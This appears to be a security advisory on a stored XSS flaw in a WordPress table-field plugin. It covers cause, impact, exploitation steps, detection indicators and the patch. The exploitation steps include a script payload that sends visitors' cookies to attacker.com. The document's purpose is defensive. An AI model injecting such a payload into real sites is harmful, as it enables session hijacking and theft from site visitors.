CVE-2025-12067: 
WordPress vulnerability analysis and mitigation

CVE-2025-12067 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Table Field Add-on for ACF and SCF" plugin for WordPress. It affects all versions up to and including 1.3.30, allowing authenticated attackers with Author-level access or higher to inject arbitrary web scripts via unsanitized Table Cell Content. The vulnerability was published on January 6, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).

The root cause is insufficient input sanitization and output escaping when handling Table Cell Content within the plugin, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). An authenticated attacker with at minimum Author-level WordPress privileges can craft malicious content in a table cell field that is stored in the database without proper sanitization. When any user subsequently visits a page containing the injected table, the malicious script executes in their browser context. The attack vector is network-based, requires low privileges, and does not require user interaction beyond visiting the affected page (Wordfence).

Successful exploitation allows injected scripts to execute in the browsers of all users who visit affected pages, impacting both confidentiality and integrity. Attackers could steal session cookies, redirect users to malicious sites, perform actions on behalf of victims (including administrators), or deliver further malware payloads. Availability is not directly impacted, but the persistent nature of stored XSS means the attack affects every visitor to the compromised page until the malicious content is removed (Wordfence).

No evidence of active in-the-wild exploitation or inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog has been reported. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities. No public proof-of-concept exploit code has been identified in available sources (Wordfence).

1. Reconnaissance: Identify WordPress sites using the "Table Field Add-on for ACF and SCF" plugin at version 1.3.30 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain Author-level access: Register or compromise an account with at least Author-level privileges on the target WordPress site.
3. Inject malicious payload: Create or edit a post/page that includes an ACF or SCF table field. Insert a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a table cell content field.
4. Publish the content: Save and publish the post/page, causing the unsanitized payload to be stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected table, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Database: Unexpected JavaScript tags or encoded script content (e.g., <script>, javascript:, onerror=) within ACF/SCF table field values stored in the wp_postmeta table.
• Logs: WordPress access logs showing POST requests to post/page editing endpoints from Author-level accounts followed by unusual outbound requests from visitor browsers.
• Network: Outbound connections from site visitors to unknown external domains shortly after loading pages with table fields; potential exfiltration of cookie data to attacker-controlled servers.
• File System: No direct file system artifacts expected for stored XSS, but review for any newly created or modified PHP files that may indicate follow-on compromise after session hijacking.

Users should update the "Table Field Add-on for ACF and SCF" plugin to version 1.3.31 or later, which addresses the vulnerability via the patch available in the WordPress plugin repository changeset 3386339 (WordPress Trac). As a temporary workaround, site administrators can restrict Author-level user permissions or disable the plugin until an update can be applied. Additionally, deploying a Web Application Firewall (WAF) such as Wordfence can help detect and block XSS injection attempts.

Sucuri included this vulnerability in their January 2026 vulnerability patch roundup, highlighting it as part of a broader set of WordPress plugin issues requiring attention (Sucuri Blog). The vulnerability was also noted by INCIBE-CERT in Spain as part of their early warning vulnerability alerts. Community reaction has been limited given the medium severity and authentication requirement, with no significant controversy or widespread discussion observed.